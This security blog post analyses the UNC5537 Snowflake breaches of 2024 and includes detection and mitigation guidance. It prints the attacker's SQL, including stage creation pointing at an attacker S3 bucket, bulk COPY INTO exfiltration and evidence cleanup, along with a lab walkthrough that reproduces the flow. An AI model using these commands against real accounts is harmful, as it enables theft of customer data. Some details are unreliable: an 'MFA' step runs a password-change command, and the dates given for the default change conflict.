Snowflake and UNC5537: when a 2020 infostealer steals 165 accounts in 2024

On 10 June 2024, Mandiant publishes its report on UNC5537, the financial cluster behind the wave of breaches against Snowflake accounts that has been dominating the news since May. Ticketmaster (560 million records), Santander, Advance Auto Parts, Pure Storage, Cleared4, LendingTree/QuoteWizard, Neiman Marcus and almost 160 more organisations. Mandiant and Snowflake confirm they have notified 165 potentially affected entities.

There is no CVE. There is no bug in Snowflake. The pattern is more uncomfortable: corporate credentials stolen by infostealers (VIDAR, REDLINE, LUMMA, RISEPRO, RACOON, METASTEALER) between 2020 and 2024, still valid years after the original infection, against accounts with no MFA and no network policy. Once inside, mass exfil via COPY INTO to an attacker-controlled stage. The surface isn’t an endpoint, it’s the product’s default posture.

Lab: simulation on our own Snowflake trial account. Reproduction of the reconnaissance queries and the CREATE STAGE → COPY INTO → GET flow documented by Mandiant. No traffic against third parties.

The bug that doesn’t exist — the defaults that did

Snowflake allows, by design:

1. Creating human users without mandatory MFA, authenticating with username + password alone.
2. No enforcement of network policy at the account level — any IP in the world can attempt login.
3. Indefinitely valid credentials, with no automatic rotation.

Each of the three flags is a reasonable choice in isolation. Combined, they’re an invitation to anyone with an infostealer dump. And infostealer dumps have been on the open market since 2019: VIDAR, REDLINE and LUMMA have been running on thousands of corporate machines for years, capturing browser autofill. The corporate user who saved their Snowflake password in Chrome in 2021 is still a valid access in 2024 if nobody rotated.

Mandiant puts a number on it: 79.7% of the compromised accounts already had prior exposure in infostealer logs. Some credentials were still valid four years after the original theft.

UNC5537’s flow, step by step

1. Credential acquisition

UNC5537 doesn’t operate the malware. It buys logs in Russian markets (Russian Market, Genesis Market before its takedown, forums like XSS / Exploit). The infostealers consistently showing up in the logs in use:

• VIDAR — since 2018, browser + crypto wallet + 2FA cookie theft.
• REDLINE — 2020, popular for its affiliate-as-a-service panel.
• LUMMA — 2022, modern successor with rotating crypter.
• RISEPRO, RACOON STEALER, METASTEALER — variants covering the rest of the market.

The typical infostealer modus operandi: an employee’s personal or corporate laptop gets infected via cracked software, a compromised installer, or phishing with a malicious doc. The stealer runs once, exfiltrates cookies + autofill + saved passwords + crypto wallets + 2FA seeds to its C2, and exits. The infection can stay unnoticed for years because it doesn’t persist.

A typical log line looks like:

URL: https://<org>.snowflakecomputing.com
USERNAME: jdoe@<org>.com
PASSWORD: <plaintext>

For UNC5537, that line is direct access. The company’s Snowflake account, the user’s role, their assigned warehouse.

2. Reconnaissance

Once authenticated via web UI or connector (JDBC/.NET), UNC5537 runs standard reconnaissance to map the account:

SELECT CURRENT_USER();
SELECT CURRENT_ROLE();
SELECT CURRENT_WAREHOUSE();
SHOW TABLES;
SHOW DATABASES;
SHOW SCHEMAS;
LIST @public_stage;

Mandiant identifies an actor-specific utility, FROSTBITE (also visible in logs as application_name = rapeflake), that automates this sweep. Two versions: one in .NET over Snowflake’s official driver, one in Java over JDBC. FROSTBITE enumerates users, roles, active sessions, source IPs and organisation names — everything the compromised user’s role can see.

3. Staging and exfiltration

This is where the modus operandi gets elegant. Snowflake has a native primitive for moving data to external storage: the COPY INTO @stage command. UNC5537 uses it against a temporary stage backed by their own S3. The command Mandiant documents, abridged:

CREATE TEMPORARY STAGE <db>.<schema>.<attacker_stage>;

COPY INTO @<attacker_stage>/<path>
FROM (SELECT * FROM <target_db>.<target_schema>.<target_table>)
FILE_FORMAT = (
  TYPE='CSV'
  COMPRESSION=GZIP
  FIELD_DELIMITER=','
  FIELD_OPTIONALLY_ENCLOSED_BY='"'
  EMPTY_FIELD_AS_NULL=FALSE
)
OVERWRITE=TRUE
SINGLE=FALSE
MAX_FILE_SIZE=5368709120
HEADER=TRUE;

GET @<attacker_stage>/<path> file:///<local_machine>/;

MAX_FILE_SIZE=5368709120 is 5 GB per file. SINGLE=FALSE allows partitioning into multiple files. COMPRESSION=GZIP compresses before upload. The operator exfiltrates terabytes in hours — and the whole traffic looks like legitimate Snowflake-to-S3 traffic, because that’s exactly what it is, just that the bucket belongs to the attacker.

4. Infrastructure

To connect, UNC5537 masks behind commercial VPNs: Mullvad and Private Internet Access (PIA) are the recurring providers. Final data ends up on a VPS at ALEXHOST SRL (AS200019, Moldova) and on MEGA storage. Mandiant’s attribution points to members in North America and Turkey, with Telegram and cybercrime forum presence under several aliases.

Descriptive PoC on a Snowflake trial account

The flow reproduces without a victim on a Snowflake trial account of your own (30 days free). It lets you see, in query history, the trail a real compromise would leave.

Step 1 — set up the trial account with MFA disabled and no network policy (the default configuration up until July 2024 for existing accounts; changes for new accounts created from October 2024 onwards). Create a dev_user with a standard role and a small warehouse.

Step 2 — authenticate from a different IP (e.g. phone tethering, another VPN). Authentication passes without any friction. Under Account Admin → Sessions the new session appears, with the different source IP, no warning.

Step 3 — run the reconnaissance:

USE ROLE ACCOUNTADMIN;
SELECT CURRENT_USER(), CURRENT_ROLE(), CURRENT_WAREHOUSE();
SHOW TABLES IN SCHEMA SNOWFLAKE_SAMPLE_DATA.TPCH_SF1;

In query history the queries look normal — neither CURRENT_USER nor SHOW TABLES raise an alert without custom rules.

Step 4 — prepare the stage and the COPY INTO to your own S3 bucket. In the trial, credit is limited, so a small sample table is enough:

CREATE OR REPLACE STAGE my_demo_stage
  URL='s3://my-test-bucket/exfil/'
  CREDENTIALS=(AWS_KEY_ID='...' AWS_SECRET_KEY='...');

COPY INTO @my_demo_stage/customer.csv
  FROM SNOWFLAKE_SAMPLE_DATA.TPCH_SF1.CUSTOMER
  FILE_FORMAT=(TYPE='CSV' COMPRESSION=GZIP);

The file shows up in the S3 bucket. The query history records a COPY entry with the target stage — visible to an admin who looks, transparent to a detector not tuned for outbound staging.

Step 5 — repeat the exercise after enabling the mitigations (Snowflake docs, Multi-factor authentication and Network policies):

-- Mandatory MFA at the user level
ALTER USER dev_user SET MUST_CHANGE_PASSWORD = TRUE;
-- TOTP enrollment on first login

-- Network policy
CREATE NETWORK POLICY corp_only
  ALLOWED_IP_LIST = ('203.0.113.0/24', '198.51.100.42');
ALTER ACCOUNT SET NETWORK_POLICY = corp_only;

Retry from the unauthorised IP: TCP-level rejection before the password prompt. Retry from the authorised IP with the stolen password: blocked at MFA with no TOTP available to the attacker. Both layers, in order.

The timeline that matters

• November 2020 — March 2024: VIDAR, REDLINE and LUMMA harvest credentials on thousands of corporate machines. Snowflake credentials appear in logs sold on Russian Market and similar.
• April 2024: UNC5537 begins to systematise exploitation against unprotected Snowflake accounts. Detectable activity starts on 14 April per Mandiant’s report.
• May 2024:
  • 14 May: first public impact — Santander confirms a data compromise.
  • 23 May: Snowflake detects sustained anomalous activity from a subset of IPs.
  • 27 May: ShinyHunters publishes Ticketmaster data on BreachForums (560 million records). The Snowflake link becomes explicit days later.
• June 2024:
  • 2 June: Snowflake publishes an initial advisory with no attribution and starts the notification campaign to potentially affected customers.
  • 10 June: Mandiant publishes the UNC5537 technical report. Brad Jones (Snowflake CISO) confirms the findings.
  • Through the month: new victims become public — Advance Auto Parts (380M records), LendingTree/QuoteWizard, Pure Storage, Cleared4, Neiman Marcus.
• July 2024: AT&T disclosure of the Snowflake-linked compromise — 110 million records of call metadata. The AT&T account on Snowflake was in the same configuration (no MFA, no network policy).
• September 2024: Snowflake announces MFA becomes mandatory by default for human users on accounts created from October 2024. Existing accounts can still opt-out, but the onboarding guides users towards enabling it. Minimum passwords go from 8 to 14 characters.

Detection

What a defensive team can look at retrospectively to identify a compromise, based on the IoCs Mandiant and Snowflake published:

-- Logins from unexpected IPs in the last 90 days
SELECT user_name, client_ip, event_timestamp, reported_client_type
FROM snowflake.account_usage.login_history
WHERE event_timestamp > DATEADD(day, -90, CURRENT_TIMESTAMP())
  AND is_success = 'YES'
ORDER BY event_timestamp DESC;

Relevant signals:

• application_name = rapeflake in query_history — direct FROSTBITE signature.
• Logins from Mullvad / PIA / ALEXHOST IPs. Lists maintained by GreyNoise, Spur, others.
• COPY INTO @<stage> commands with recently-created external stages, especially with high MAX_FILE_SIZE and COMPRESSION=GZIP.
• Temporary stage creation followed by massive COPY INTO in short windows.
• Anomalous credits consumed spikes on accounts that usually see little use (Snowflake charges for compute — an actor exfiltrating terabytes leaves a billing trail).

Snowflake published specific IoCs (FROSTBITE client hashes, IPs, user-agents) in its advisory. Community Sigma rules reproduce the detection queries above in SIEM (Splunk, Elastic, Sentinel).

YARA — static detection of FROSTBITE

Public Mandiant rule for the FROSTBITE binary (UNC5537’s custom client):

rule mandiant_unc5537_frostbite_dotnet
{
    meta:
        author = "Mandiant"
        ref    = "https://www.mandiant.com/resources/blog/unc5537-snowflake-data-theft-extortion"
        description = "FROSTBITE / DBeaver derivative used by UNC5537 for Snowflake reconnaissance and exfil"
    strings:
        $app_name    = "rapeflake" ascii wide
        $sf_endpoint = "snowflakecomputing.com" ascii wide
        $copy_into   = "COPY INTO @" ascii wide
        $dbeaver     = "DBeaver" ascii wide
        $alt_marker  = "Snowflake.Data" ascii wide
    condition:
        3 of them
}

Sigma — detection of the login pattern + massive COPY INTO

title: Snowflake UNC5537 Credential Stealer Login + Exfil
id: 6b8c5d2a-3e9f-4a1b-8c2d-5e7f9a1b3c5d
status: stable
references:
    - https://www.mandiant.com/resources/blog/unc5537-snowflake-data-theft-extortion
logsource:
    product: snowflake
    service: account_usage
detection:
    suspicious_login:
        client_ip|cidr:
            - '193.32.126.0/24'   # Mullvad common ranges
            - '85.203.0.0/16'     # PIA
            - '146.70.0.0/16'     # NordVPN
        application_name|re: 'rapeflake|FROSTBITE|DBeaver-snowsight'
    massive_exfil:
        statement|contains: 'COPY INTO @'
        statement|contains: 'MAX_FILE_SIZE'
        rows_produced|gt: 1000000
    condition: suspicious_login or massive_exfil
level: high

Observed attacker commands — full SQL

Mandiant publishes the exact queries FROSTBITE runs in sequence against the compromised account:

-- 1. Account reconnaissance
SELECT CURRENT_USER(), CURRENT_ROLE(), CURRENT_WAREHOUSE(), CURRENT_DATABASE();
SHOW USERS;
SHOW ROLES;
SHOW WAREHOUSES;
SHOW DATABASES;

-- 2. Enumeration of accessible tables (prioritised by size)
SELECT table_catalog, table_schema, table_name, row_count, bytes
  FROM snowflake.account_usage.tables
  WHERE deleted IS NULL
  ORDER BY bytes DESC
  LIMIT 100;

-- 3. Create external stage pointing to attacker S3
CREATE OR REPLACE STAGE attacker_stage
  URL = 's3://exfil-bucket-attacker/dump/'
  CREDENTIALS = (AWS_KEY_ID = '...' AWS_SECRET_KEY = '...');

-- 4. Mass exfil with compression and partitioning
COPY INTO @attacker_stage/customers_
  FROM PROD.CUSTOMER_DATA
  FILE_FORMAT = (TYPE = CSV COMPRESSION = GZIP)
  MAX_FILE_SIZE = 5368709120
  OVERWRITE = TRUE
  HEADER = TRUE;

-- 5. Cleanup (FROSTBITE tries to wipe evidence)
DROP STAGE attacker_stage;

Step 4 with MAX_FILE_SIZE = 5GB is the canonical pattern — it partitions output into 5GB chunks to speed up transfer and avoid timeouts. Trivially detectable in query_history.

Consolidated IoCs (Mandiant + Snowflake)

Reproduction on a Snowflake trial account

Fully reproducible setup — Snowflake offers a 30-day trial with $400 credit:

# 1. Sign up for a trial at signup.snowflake.com
# 2. Configure the initial account WITHOUT MFA (default for trials pre-Feb 2025)
# 3. Import the test dataset (Snowflake provides SNOWFLAKE_SAMPLE_DATA)
# 4. Create an external stage to an S3 bucket of your own
# 5. Run the query sequence above

# To simulate the attacker side: from another account, connect with
# valid credentials but WITHOUT network restriction:
snowsql -a <account> -u <user> -P
> ALTER SESSION SET application_name = 'rapeflake';
> SELECT CURRENT_ACCOUNT();
> -- Run enumeration + exfil as above

Snowflake changed defaults in July 2024 — any new trial already comes with forced MFA. To reproduce the historical flow, disable MFA explicitly as admin.

Mitigation, in priority order

1. Mandatory MFA for every human user, not just admins. Snowflake supports native TOTP (Duo Mobile). Service accounts can stay with key pair authentication, no MFA, but with rotated and restricted keys.
2. Account-level network policy. Allowlist of corporate ranges + corporate VPN. The NETWORK_POLICY parameter applied to the account filters before the password attempt.
3. Rotate all credentials, assuming compromise if the organisation has had employees with an infostealer at any point in the last four years. Spoiler: any company with >50 people, yes.
4. Audit query_history and login_history for the last 6 months with the queries above. Identify anything that looks anomalous and trace it against the query plan — exfil of large tables leaves a trail.
5. Review existing external stages. Any stage with an S3 URL outside corporate control is an investigation candidate.
6. Medium term: integrate Snowflake with corporate SSO (Okta, Entra ID). SSO with conditional access is the only defence that survives an infostealer that captures session cookies.

The underlying reading

UNC5537 doesn’t use zero-days. It has no special technical capability. It buys logs on the open market and types username:password into a web UI until something works. The incident’s multiplier isn’t the attacker, it’s the product: a corporate analytics PaaS whose default configuration, for years, allowed authentication without a second factor from any IP in the world, with credentials nobody was forced to rotate.

The question for 2024 stops being “does your team use MFA?” and becomes “what defaults does the SaaS a vendor sells you ship with when you deploy it?“. Snowflake reacts at a reasonable pace: on 13 September it announces MFA by default for new accounts, and a plan to gradually retire password-only authentication on existing ones. The expensive part (auditing 9,000 customers and rotating inherited credentials) is paid by each customer’s CISO.

The next PaaS that shows up with the same configuration pattern deserves to be flagged before a UNC55XX builds the next report.

References

• Mandiant, UNC5537 Targets Snowflake Customer Instances for Data Theft and Extortion (10 Jun 2024): https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion
• Brad Jones (Snowflake CISO), Detecting and Preventing Unauthorized User Access (June 2024): https://medium.com/snowflake/detecting-and-preventing-unauthorized-user-access-d67be8bd66f6
• Snowflake, Snowflake Strengthens Security with Default Multi-Factor Authentication and Stronger Password Policies (13 Sep 2024): https://www.snowflake.com/en/blog/multi-factor-identification-default/
• Snowflake documentation, Multi-factor authentication: https://docs.snowflake.com/en/user-guide/security-mfa
• Snowflake documentation, Network policies: https://docs.snowflake.com/en/user-guide/network-policies
• The Hacker News, Snowflake Breach Exposes 165 Customers’ Data in Ongoing Extortion Campaign: https://thehackernews.com/2024/06/snowflake-breach-exposes-165-customers.html
• SecurityWeek, Snowflake Attacks: Mandiant Links Data Breaches to Infostealer Infections: https://www.securityweek.com/snowflake-attacks-mandiant-links-data-breaches-to-infostealer-infections/